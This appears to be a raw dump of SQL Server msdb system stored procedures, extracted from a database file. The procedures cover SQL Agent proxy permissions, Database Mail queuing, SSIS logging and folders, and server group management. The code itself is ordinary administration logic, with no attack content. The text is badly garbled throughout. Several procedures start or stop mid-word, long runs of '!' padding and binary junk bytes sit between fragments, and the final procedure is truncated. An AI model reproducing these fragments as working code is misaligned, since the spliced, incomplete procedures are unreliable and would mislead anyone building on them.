    UPDATE [msdb].[dbo].[sysmanagement_shared_server_groups_internal]
        SET parent_id = @new_parent_id
    WHERE
        server_group_id = @server_group_id
    RETURN (0)
END
s
         (alert_id,
          operator_id,
          notification_method)
  VALUES (@alert_id,
          @operator_id,
          @notification_method)

  SELECT @retval = @@error

  SELECT @new_has_notification = has_notification
  FROM msdb.dbo.sysalerts
  WHERE (id = @alert_id)

  -- Notify SQLServerAgent of the change - if any - to has_notifications
  IF (@old_has_notification <> @new_has_notification)
    EXECUTE msdb.dbo.sp_sqlagent_notify @op_type     = N'A',
                                        @alert_id    = @alert_id,
                                        @action_type = N'U'

  RETURN(@retval) -- 0 means success
END
0d8u A8-- sysmail_start_sp : allows databasemail to process mail from the queue 
CREATE PROCEDURE sysmail_start_sp
AS
    SET NOCOUNT ON
    DECLARE @rc INT 
   DECLARE @localmessage nvarchar(255)

    ALTER QUEUE ExternalMailQueue WITH STATUS = ON
    SELECT @rc = @@ERROR
    IF(@rc = 0)
    BEGIN
      ALTER QUEUE ExternalMailQueue WITH ACTIVATION (STATUS = ON);
       SET @localmessage = FORMATMESSAGE(14639, SUSER_SNAME())
       exec msdb.dbo.sysmail_logmailevent_sp @event_type=1, @description=@localmessage
    END
RETURN @rc
0wZu 8CREATE PROCEDURE [dbo].[sp_ssis_addlogentry]
  @event sysname,
  @computer nvarchar(128),
  @operator nvarchar(128),
  @source nvarchar(1024),
  @sourceid uniqueidentifier,
  @executionid uniqueidentifier,
  @starttime datetime,
  @endtime datetime,
  @datacode int,
  @databytes image,
  @message nvarchar(2048)
AS
  INSERT INTO sysssislog (
      event,
      computer,
      operator,
      source,
      sourceid,
      executionid,
      starttime,
      endtime,
      datacode,
      databytes,
      message )
  VALUES (
      @event,
      @computer,
      @operator,
      @source,
      @sourceid,
      @executionid,
      @starttime,
      @endtime,
      @datacode,
      @databytes,
      @message )
  RETURN 0
erify_credential_identifiers '@credential_name',
                                                  '@credential_id',
                                                   @credential_name OUTPUT,
                                                   @credential_id   OUTPUT
  IF (@retval <> 0)
    RETURN(1) -- Failure
  -- warn if the user_domain\user_name does not exist
  SELECT @full_name = credential_identity, @cred_date_time = create_date from master.sys.credentials 
  WHERE  credential_id = @credential_id
  --force case insensitive comparation for NT users
  SELECT @user_sid = SUSER_SID(@full_name,0)
  IF @user_sid IS NULL
  BEGIN
    RAISERROR(14529, -1, -1, @full_name)
    RETURN(1)
  END

  -- Finally, do the actual INSERT
  INSERT INTO msdb.dbo.sysproxies
   (
      name,
    credential_id,
      enabled,
      description,
    user_sid,
    credential_date_created
   )
   VALUES
   (
      @proxy_name,
    @credential_id,
      @enabled,
      @description,
    @user_sid,
    @cred_date_time
   )
   
   --get newly created proxy_id;
   SELECT @proxy_id = SCOPE_IDENTITY()
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!M	M	`#<M`NO0~x 8
CREATE PROCEDURE dbo.sp_delete_proxy
   @proxy_id      int = NULL,
   @proxy_name    sysname = NULL
   -- must specify only one of above parameters to identify the proxy
AS
BEGIN
   DECLARE @retval   INT
   SET NOCOUNT ON
    
   EXECUTE @retval = sp_verify_proxy_identifiers '@proxy_name',
                                                  '@proxy_id',
                                                   @proxy_name OUTPUT,
                                                   @proxy_id   OUTPUT
    IF (@retval <> 0)
      RETURN(1) -- Failure

   --no jobsteps should use this proxy
   IF EXISTS (SELECT * FROM sysjobsteps 
            WHERE @proxy_id = proxy_id)
   BEGIN
      RAISERROR(14518, -1, -1, @proxy_id)
      RETURN(1) -- Failure
   END

    BEGIN TRANSACTION
      --delete any association between subsystems and this proxy 
      DELETE sysproxysubsystem
      WHERE  proxy_id = @proxy_id
       
      --delete any association between logins and this proxy 
      DELETE sysproxylogin
      WHERE  proxy_id = @proxy_id

      -- delete the entry in sysproxies table
      DELETE sysproxies
      WHERE proxy_id = @proxy_id

    COMMIT
   RETURN(0)
END
0=y 8CREATE PROCEDURE sp_help_jobactivity
  @job_id     UNIQUEIDENTIFIER = NULL,  -- If provided should NOT also provide job_name
  @job_name   sysname          = NULL,  -- If provided should NOT also provide job_id
  @session_id INT = NULL
AS
BEGIN
  DECLARE @retval          INT
  DECLARE @session_id_as_char NVARCHAR(16)
  SET NOCOUNT ON

  -- Remove any leading/trailing spaces from parameters (except @owner_login_name)
  SELECT @job_name         = LTRIM(RTRIM(@job_name))

  -- Turn [nullable] empty string parameters into NULLs
  IF (@job_name         = N'') SELECT @job_name = NULL

  IF ((@job_id IS NOT NULL) OR (@job_name IS NOT NULL))
  BEGIN
    EXECUTE @retval = sp_verify_job_identifiers '@job_name',
                                                '@job_id',
                                                 @job_name OUTPUT,
                                                 @job_id   OUTPUT
    IF (@retval <> 0)
      RETURN(1) -- Failure
  END
  


  IF @session_id IS NULL
    SELECT TOP(1) @session_id = session_id FROM syssessions ORDER by agent_start_date DESC 
  ELSE IF NOT EXISTS( SELECT * FROM syssessions WHERE session_id = @session_id)
  BEGIN
    SELECT @session_id_as_char = CONVERT(NVARCHAR(16), @session_id)
    RAISERROR(14262, -1, -1, '@session_id', @session_id_as_char)
    RETURN(1) --failure
  END

  SELECT
      ja.session_id,                
      ja.job_id,
    j.name AS job_name,
    ja.run_requested_date,        
    ja.run_requested_source,      
    ja.queued_date,               
    ja.start_execution_date,      
    ja.last_executed_step_id,     
    ja.last_executed_step_date,   
    ja.stop_execution_date,       
    ja.next_scheduled_run_date,
    ja.job_history_id,            
    jh.message,
    jh.run_status,
    jh.operator_id_emailed,
    jh.operator_id_netsent,
    jh.operator_id_paged
  FROM
    (msdb.dbo.sysjobactivity ja LEFT JOIN msdb.dbo.sysjobhistory jh ON ja.job_history_id = jh.instance_id)
    join msdb.dbo.sysjobs_view j on ja.job_id = j.job_id
  WHERE
    (@job_id IS NULL OR ja.job_id = @job_id) AND
     ja.session_id = @session_id

  RETURN(0)
END
0y 8-- sp_SendMailMessage : Sends a request on the mail items SSB queue
CREATE PROCEDURE sp_SendMailMessage
    @contract_name sysname, -- Name of contract
    @message_type sysname,  -- Type of message
    @request varchar(max) -- XML message to send
  WITH EXECUTE AS 'dbo'
AS

SET NOCOUNT ON

DECLARE @conversationHandle uniqueidentifier;
DECLARE @error int

-- Start a conversation with the remote service
BEGIN DIALOG  @conversationHandle
    FROM SERVICE    [InternalMailService]
    TO SERVICE      'ExternalMailService'
    ON CONTRACT     @contract_name
    WITH ENCRYPTION=OFF

-- Check error
SET @error = @@ERROR
IF @error <> 0
BEGIN
    RETURN @error
END

-- Send message
;SEND ON CONVERSATION @conversationHandle MESSAGE TYPE @message_type (@request)

-- Check error
SET @error = @@ERROR
IF @error <> 0
BEGIN
    RETURN @error
END

RETURN 0
0[x :8CREATE PROCEDURE [dbo].[sp_ssis_deletefolder]
  @folderid uniqueidentifier
AS
   DECLARE @name  sysname
   DECLARE @count int

   IF @folderid = '00000000-0000-0000-0000-000000000000'
   BEGIN
      RAISERROR (14307, -1, -1, '00000000-0000-0000-0000-000000000000')
      RETURN 1  -- Failure
   END

   SELECT
       @name = [foldername]
   FROM
       sysssispackagefolders
   WHERE
       [folderid] = @folderid
   IF @name IS NOT NULL
   BEGIN
       --// The row exists, check security
       IF (IS_MEMBER('db_ssisadmin')<>1) AND (IS_SRVROLEMEMBER('sysadmin')<>1)
       BEGIN
           IF (IS_MEMBER('db_ssisltduser')<>1)
           BEGIN
               RAISERROR (14307, -1, -1, @name)
               RETURN 1  -- Failure
           END
       END
   END

   -- Get the number of packages in this folder
   SELECT
      @count = count(*)
   FROM
      sysssispackages
   WHERE
      [folderid] = @folderid

   -- Are there any packages in this folder
   IF @count > 0
   BEGIN
      -- Yes, do not delete
      RAISERROR (14593, -1, -1, @name)
      RETURN 1  -- Failure
   END

   -- Get the number of folders in this folder
   SELECT
      @count = count(*)
   FROM
      sysssispackagefolders
   WHERE
      [parentfolderid] = @folderid

   -- Are there any folders in this folder
   IF @count > 0
   BEGIN
      -- Yes, do not delete
      RAISERROR (14593, -1, -1, @name)
      RETURN 1  -- Failure
   END

   DELETE FROM sysssispackagefolders
   WHERE
       [folderid] = @folderid
01x 18CREATE PROCEDURE [dbo].[sp_sysmanagement_rename_shared_server_group]
    @server_group_id INT,
    @new_name sysname
AS
BEGIN
    IF (@server_group_id IS NULL)
    BEGIN
        RAISERROR (35006, -1, -1)
        RETURN(1)
    END
    
    IF NOT EXISTS (SELECT * FROM [msdb].[dbo].[sysmanagement_shared_server_groups_internal] WHERE server_group_id = @server_group_id)
    BEGIN
        RAISERROR (35007, -1, -1)
        RETURN(1)
    END
    
    IF (@new_name IS NULL or LEN(@new_name) = 0)
    BEGIN
      RAISERROR(21263, -1, -1, '@new_name')
      RETURN(1) -- Failure
    END

    UPDATE [msdb].[dbo].[sysmanagement_shared_server_groups_internal]
        SET name = @new_name
    WHERE
        server_group_id = @server_group_id

    RETURN (0)
END
0x %8((0))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!:
`$<IT0KR[{ 8CREATE PROCEDURE dbo.sp_verify_proxy_permissions
   @subsystem_name sysname,
   @proxy_id      INT = NULL,
   @name       NVARCHAR(256) = NULL,
   @raise_error    INT = 1,
   @allow_disable_proxy INT = 0,
   @verify_special_account INT = 0,
   @check_only_read_perm INT = 0
AS 
BEGIN
  DECLARE @retval   INT
  DECLARE @granted_sid VARBINARY(85)
  DECLARE @is_member INT
  DECLARE @is_sysadmin BIT
  DECLARE @flags TINYINT
  DECLARE @enabled TINYINT
  DECLARE @name_sid VARBINARY(85)
  DECLARE @role_from_sid sysname
  DECLARE @name_from_sid sysname
  DECLARE @is_SQLAgentOperatorRole BIT
  DECLARE @check_only_subsystem BIT
  DECLARE proxy_subsystem CURSOR LOCAL
  FOR
    SELECT p.sid, p.flags
    FROM sysproxyloginsubsystem_view p, syssubsystems s
    WHERE p.proxy_id = @proxy_id AND p.subsystem_id = s.subsystem_id
        AND UPPER(s.subsystem collate SQL_Latin1_General_CP1_CS_AS) = 
            UPPER(@subsystem_name collate SQL_Latin1_General_CP1_CS_AS)
   
  SET NOCOUNT ON
  SELECT @retval = 1

  IF @proxy_id IS NULL
    RETURN(0)

   -- TSQL subsystem prohibited
  IF (UPPER(@subsystem_name collate SQL_Latin1_General_CP1_CS_AS) = N'TSQL')
  BEGIN
    RAISERROR(14517, -1, -1)
    RETURN(1) -- Failure
  END
   
  --check if the date stored inside proxy still exists and match the cred create_date inside proxy
  --otherwise the credential has been tempered from outside
  --if so, disable proxy and continue execution
  --only a sysadmin caller have cross database permissions but
  --when executing by sqlagent this check will be always performed
  IF (ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) = 1) 
  BEGIN
    IF NOT EXISTS(SELECT * FROM sysproxies p JOIN master.sys.credentials c ON p.credential_id = c.credential_id
            WHERE p.proxy_id = @proxy_id AND p.credential_date_created = c.create_date AND enabled=1)
    BEGIN
        UPDATE sysproxies SET enabled=0 WHERE proxy_id = @proxy_id
    END
  END
  
  --if no login has been passed check permission against the caller 
  IF @name IS NULL
    SELECT @name = SUSER_SNAME()  
    
  --check if the proxy is disable and continue or not based on
  --allow_disable_proxy
  --allow creation of a job step with a disabled proxy but
  --sqlagent always call with @allow_disable_proxy = 0
  SELECT @enabled = enabled FROM sysproxies WHERE proxy_id = @proxy_id
  IF (@enabled = 0) AND (@allow_disable_proxy = 0)
  BEGIN
    RAISERROR(14537, -1, -1, @proxy_id)
    RETURN(2) -- Failure
  END

  --we need to check permission only against subsystem in following cases
  --1. @name is sysadmin
  --2. @name is member of SQLAgentOperatorRole and @check_only_read_perm=1
  --3. @verify_special_account =1
  --sysadmin and SQLAgentOperatorRole have permission to view all proxies
  IF (@verify_special_account = 1)
    SET @check_only_subsystem = 1  
  ELSE
  BEGIN
    EXEC @is_sysadmin = sp_sqlagent_is_srvrolemember N'sysadmin', @name 
    IF (@is_sysadmin = 1)
      SET @check_only_subsystem = 1  
    ELSE
    BEGIN
      EXEC @is_SQLAgentOperatorRole = sp_sqlagent_is_srvrolemember N'SQLAgentOperatorRole', @name -- check role membership 
      IF ((@is_SQLAgentOperatorRole = 1) AND (@check_only_read_perm = 1))
        SET @check_only_subsystem = 1 
    END
  END 
  
  IF (@check_only_subsystem = 1)
  BEGIN
    IF NOT EXISTS(SELECT * FROM sysproxysubsystem sp JOIN syssubsystems s ON sp.subsystem_id = s.subsystem_id
                  WHERE proxy_id = @proxy_id  AND UPPER(s.subsystem collate SQL_Latin1_General_CP1_CS_AS) = 
                     UPPER(@subsystem_name collate SQL_Latin1_General_CP1_CS_AS))
    BEGIN
      IF (@raise_error <> 0)
      BEGIN
        RAISERROR(14516, -1, -1, @proxy_id, @subsystem_name, @name)
      END         
      RETURN(1) -- Failure     
    END
    RETURN(0)
  END
  
  --get SID from name; we verify if a login has permission to use a certain proxy
  --force case insensitive comparation for NT users
  SELECT @name_sid = SUSER_SID(@name, 0)

  --check first if name has been granted explicit permissions
  IF (@name_sid IS NOT NULL)
  BEGIN
      IF EXISTS(SELECT * FROM sysproxyloginsubsystem_view p, syssubsystems s
        WHERE p.proxy_id = @proxy_id AND p.subsystem_id = s.subsystem_id
            AND UPPER(s.subsystem collate SQL_Latin1_General_CP1_CS_AS) = 
                UPPER(@subsystem_name collate SQL_Latin1_General_CP1_CS_AS)
            AND
        p.sid = @name_sid) -- name has been granted explicit permissions
      BEGIN
        RETURN(0)
      END
  END

  OPEN proxy_subsystem
  FETCH NEXT FROM proxy_subsystem INTO @granted_sid, @flags
  WHILE (@@fetch_status = 0 AND @retval = 1)
  BEGIN
    IF @flags = 0 AND @granted_sid IS NOT NULL AND @name_sid IS NOT NULL -- NT GROUP 
    BEGIN
        EXEC @is_member = sp_sqlagent_is_member @group_sid = @granted_sid, @login_sid = @name_sid 
        IF @is_member = 1
          SELECT @retval = 0
    END
    ELSE IF @flags = 2 AND @granted_sid IS NOT NULL -- MSDB role (@name_sid can be null in case of a loginless user member of msdb)
    BEGIN
        DECLARE @principal_id INT
        SET @principal_id = msdb.dbo.get_principal_id(@granted_sid)
        EXEC @is_member = sp_sqlagent_is_member @role_principal_id = @principal_id, @login_sid = @name_sid 
        IF @is_member = 1
          SELECT @retval = 0
    END
    ELSE IF (@flags = 1) AND @granted_sid IS NOT NULL AND @name_sid IS NOT NULL -- FIXED SERVER Roles
    BEGIN   
      -- we have to use impersonation to check for role membership
      SELECT @role_from_sid = SUSER_SNAME(@granted_sid)
      SELECT @name_from_sid = SUSER_SNAME(@name_sid)
      EXEC   @is_member = sp_sqlagent_is_srvrolemember @role_from_sid, @name_from_sid -- check role membership 

      IF @is_member = 1
        SELECT @retval = 0
    END

    IF @retval = 1
    BEGIN
        SELECT @granted_sid = NULL
        FETCH NEXT FROM proxy_subsystem INTO @granted_sid, @flags
    END
  END
  DEALLOCATE proxy_subsystem
  
  IF (@retval = 1 AND @raise_error <> 0)
  BEGIN
    RAISERROR(14516, -1, -1, @proxy_id, @subsystem_name, @name)
    RETURN(1) -- Failure
  END

   --0 is for success
   RETURN @retval
END
0Zl|@ f8CREATE PROCEDURE sp_sem_add_message
  @msgnum   INT           = NULL,
  @severity SMALLINT      = NULL,
  @msgtext  NVARCHAR(255) = NULL,
  @lang     sysname       = NULL, -- Message language name
  @with_log VARCHAR(5)    = 'FALSE',
  @replace  VARCHAR(7)    = NULL
AS
BEGIN
  DECLARE @retval        INT
  DECLARE @language_name sysname

  SET NOCOUNT ON

  SET ROWCOUNT 1
  SELECT @language_name = name
  FROM sys.syslanguages
  WHERE msglangid = (SELECT number
                     FROM master.dbo.spt_values
                     WHERE (type = 'LNG')
                       AND (name = @lang))
  SET ROWCOUNT 0

  SELECT @language_name = ISNULL(@language_name, 'us_english')
  EXECUTE @retval = master.dbo.sp_addmessage @msgnum, @severity, @msgtext, @language_name, @with_log, @replace
  RETURN(@retval)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! `<z~Jl+0vO| (8
CREATE PROCEDURE dbo.sp_help_proxy
   @proxy_id          int           = NULL,
   @proxy_name      sysname       = NULL,
   @subsystem_name sysname       = NULL,
   @name           nvarchar(256) = NULL
AS
BEGIN
  DECLARE @retval INT
  DECLARE @subsystem_id INT
  DECLARE @cur_subsystem_name NVARCHAR(40)
  DECLARE @current_proxy_id INT
  DECLARE @not_have_permission INT
  DECLARE cur_proxy CURSOR LOCAL
  FOR
    SELECT p.proxy_id, s.subsystem
    FROM sysproxies p, syssubsystems s
    WHERE ISNULL(UPPER(@subsystem_name collate SQL_Latin1_General_CP1_CS_AS), 
        UPPER(s.subsystem collate SQL_Latin1_General_CP1_CS_AS) ) = 
        UPPER(s.subsystem collate SQL_Latin1_General_CP1_CS_AS) AND 
        s.subsystem_id <> 1 --last is TSQL subsystem
          
  -- this call will populate subsystems table if necessary
  EXEC @retval = msdb.dbo.sp_verify_subsystems
  IF @retval <> 0
     RETURN(1) --failure
     
  --create temp table with returned rows
  DECLARE @temp_proxy TABLE
   (
      proxy_id             INT  --used to identify a proxy
   )

  SET NOCOUNT ON

  SELECT @subsystem_id = NULL

  -- Remove any leading/trailing spaces from parameters
  SELECT @proxy_name       = LTRIM(RTRIM(@proxy_name))
  IF @proxy_name           = '' SELECT @proxy_name = NULL
  SELECT @subsystem_name   = LTRIM(RTRIM(@subsystem_name))
  IF @proxy_name           = '' SELECT @proxy_name = NULL
  SELECT @name             = LTRIM(RTRIM(@name))
  IF @name                 = '' SELECT @name = NULL

  IF (@proxy_id IS NOT NULL OR @proxy_name IS NOT NULL)
  BEGIN
    EXECUTE @retval = sp_verify_proxy_identifiers '@proxy_name',
                                        '@proxy_id',
                                        @proxy_name OUTPUT,
                                        @proxy_id   OUTPUT
    IF (@retval <> 0)
        RETURN(1) -- Failure
  END

  IF @subsystem_name IS NOT NULL 
  BEGIN
    EXECUTE @retval = sp_verify_subsystem_identifiers '@subsystem_name',
                                      '@subsystem_id',
                                      @subsystem_name OUTPUT,
                                      @subsystem_id   OUTPUT
    IF (@retval <> 0)
        RETURN(1) -- Failure
  END
    
  IF (@subsystem_name IS NOT NULL AND @name IS NULL) OR
    (@subsystem_name IS NULL AND @name IS NOT NULL)
  BEGIN
    RAISERROR(14532, -1, -1, '@subsystem_name', '@name')
    RETURN(1) -- Failure
  END   
  
  --only member of sysadmin and SQLAgentOperatorRole roles can see proxies granted to somebody else
  IF ((ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) = 0) AND
      (ISNULL(IS_MEMBER(N'SQLAgentOperatorRole'), 0) = 0))
  BEGIN
    SELECT @name = SUSER_SNAME()
  END

  IF @name IS NOT NULL
  BEGIN
    OPEN cur_proxy
    FETCH NEXT FROM cur_proxy INTO @current_proxy_id, @cur_subsystem_name
    WHILE (@@fetch_status = 0)
    BEGIN
      --verify if supplied user have permission to use the current proxy for specified subsystem
      --disabled proxy should be shown as well
      IF NOT EXISTS(SELECT * FROM @temp_proxy WHERE proxy_id = @current_proxy_id)
      BEGIN
        EXECUTE @not_have_permission = sp_verify_proxy_permissions 
          @subsystem_name = @cur_subsystem_name, 
          @proxy_id = @current_proxy_id, 
          @name = @name, 
          @raise_error = 0, 
          @allow_disable_proxy = 1, 
          @verify_special_account = 0, 
          @check_only_read_perm = 1
        IF (@not_have_permission = 0) -- have permissions
            INSERT @temp_proxy VALUES(@current_proxy_id)
      END
      FETCH NEXT FROM cur_proxy INTO @current_proxy_id, @cur_subsystem_name
    END 
    CLOSE cur_proxy  
    DEALLOCATE cur_proxy
  END
  ELSE
    INSERT @temp_proxy SELECT proxy_id from sysproxies

  -- returns different result sets if caller is admin or not
  IF ((ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) = 1) OR
      (ISNULL(IS_MEMBER(N'SQLAgentOperatorRole'), 0) = 1))
  BEGIN
    SELECT p.proxy_id, 
          p.name, 
          c.credential_identity, 
          p.enabled, 
          p.description, 
          p.user_sid, 
          p.credential_id,
          CASE WHEN c.credential_id IS NULL THEN 0 ELSE 1 END as credential_identity_exists
    FROM sysproxies p LEFT JOIN master.sys.credentials c ON p.credential_id = c.credential_id  
                  JOIN @temp_proxy t ON p.proxy_id = t.proxy_id
              WHERE ISNULL(@proxy_id, p.proxy_id) = p.proxy_id 
  END
  ELSE
  BEGIN
    SELECT p.proxy_id, p.name, null as credential_identity, p.enabled, p.description, null as user_sid, p.credential_id, null as credential_identity_exists 
    FROM sysproxies p, @temp_proxy t
    WHERE  ISNULL(@proxy_id, p.proxy_id) = p.proxy_id AND
              p.proxy_id = t.proxy_id
  END

END
0i|@ 8-- sp_MailItemResultSets : 
--  Sends back multiple rowsets with the mail items data
CREATE PROCEDURE sp_MailItemResultSets
    @mailitem_id            INT,
    @profile_id             INT,
    @conversation_handle    uniqueidentifier,
   @service_contract_name  NVARCHAR(256),
   @message_type_name      NVARCHAR(256)
AS
BEGIN
    SET NOCOUNT ON
   --
   -- Send back multiple rowsets with the mail items data

   ----
   -- 1) MessageTypeName
   SELECT @message_type_name  as 'message_type_name',
      @service_contract_name as 'service_contract_name',
      @conversation_handle   as 'conversation_handle',
      @mailitem_id           as 'mailitem_id'

   -----
   -- 2) The mail item record from sysmail_mailitems.
   SELECT 
      mi.mailitem_id,
      mi.profile_id,
      (SELECT name FROM msdb.dbo.sysmail_profile p WHERE p.profile_id = mi.profile_id) as 'profile_name',
      mi.recipients,
      mi.copy_recipients,
      mi.blind_copy_recipients,
      mi.subject,
      mi.body, 
      mi.body_format, 
      mi.importance,
      mi.sensitivity,
      ISNULL(sr.send_attempts, 0) as retry_attempt,
      ISNULL(mi.from_address, '') as from_address,
      ISNULL(mi.reply_to, '')     as reply_to
   FROM sysmail_mailitems as mi
      LEFT JOIN sysmail_send_retries as sr
         ON sr.mailitem_id = mi.mailitem_id 
   WHERE mi.mailitem_id = @mailitem_id

   -----
   -- 3) Account information 
   SELECT a.account_id,
         a.name
   FROM msdb.dbo.sysmail_profileaccount as pa
   JOIN msdb.dbo.sysmail_account as a
      ON pa.account_id = a.account_id
   WHERE pa.profile_id = @profile_id
   ORDER BY pa.sequence_number 

   -----
   -- 4) Attachments if any
   SELECT attachment_id,
      mailitem_id,
      filename,
      filesize,
      attachment
   FROM sysmail_attachments
   WHERE mailitem_id = @mailitem_id
   

   RETURN 0
END
0?|| 8CREATE PROCEDURE [dbo].[sp_ssis_checkexists]
  @name sysname,
  @folderid uniqueidentifier
AS
  SET NOCOUNT ON
  SELECT TOP 1 1 FROM sysssispackages WHERE [name] = @name AND [folderid] = @folderid
  RETURN 0    -- SUCCESS
0| P8
'h	>
kE3 IF EXISTS (SELECT * FROM master.dbo.sysmessages WHERE (error = @error) AND (msglangid = (SELECT msglangid FROM sys.syslanguages WHERE (langid = @@langid))))
    SELECT description FROM master.dbo.sysmessages WHERE (error = @error) AND (msglangid = (SELECT msglangid FROM sys.syslanguages WHERE (langid = @@langid)))
  ELSE
    SELECT description FROM master.dbo.sysmessages WHERE (error = @error) AND (msglangid = 1033)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!.)`<kMW07~ 8CREATE PROCEDURE dbo.sp_grant_proxy_to_subsystem
   @proxy_id      int = NULL,
   @proxy_name    sysname = NULL,
   -- must specify only one of above parameter to identify the proxy
   @subsystem_id  int = NULL,
   @subsystem_name sysname = NULL
   -- must specify only one of above parameter to identify the subsystem
AS
BEGIN
   DECLARE @retval   INT
   DECLARE @proxy_account sysname
   SET NOCOUNT ON

   -- Remove any leading/trailing spaces from parameters
   SELECT @subsystem_name          = LTRIM(RTRIM(@subsystem_name))
   SELECT @proxy_name              = LTRIM(RTRIM(@proxy_name))

  -- Turn [nullable] empty string parameters into NULLs
  IF @subsystem_name    = '' SELECT @subsystem_name = NULL
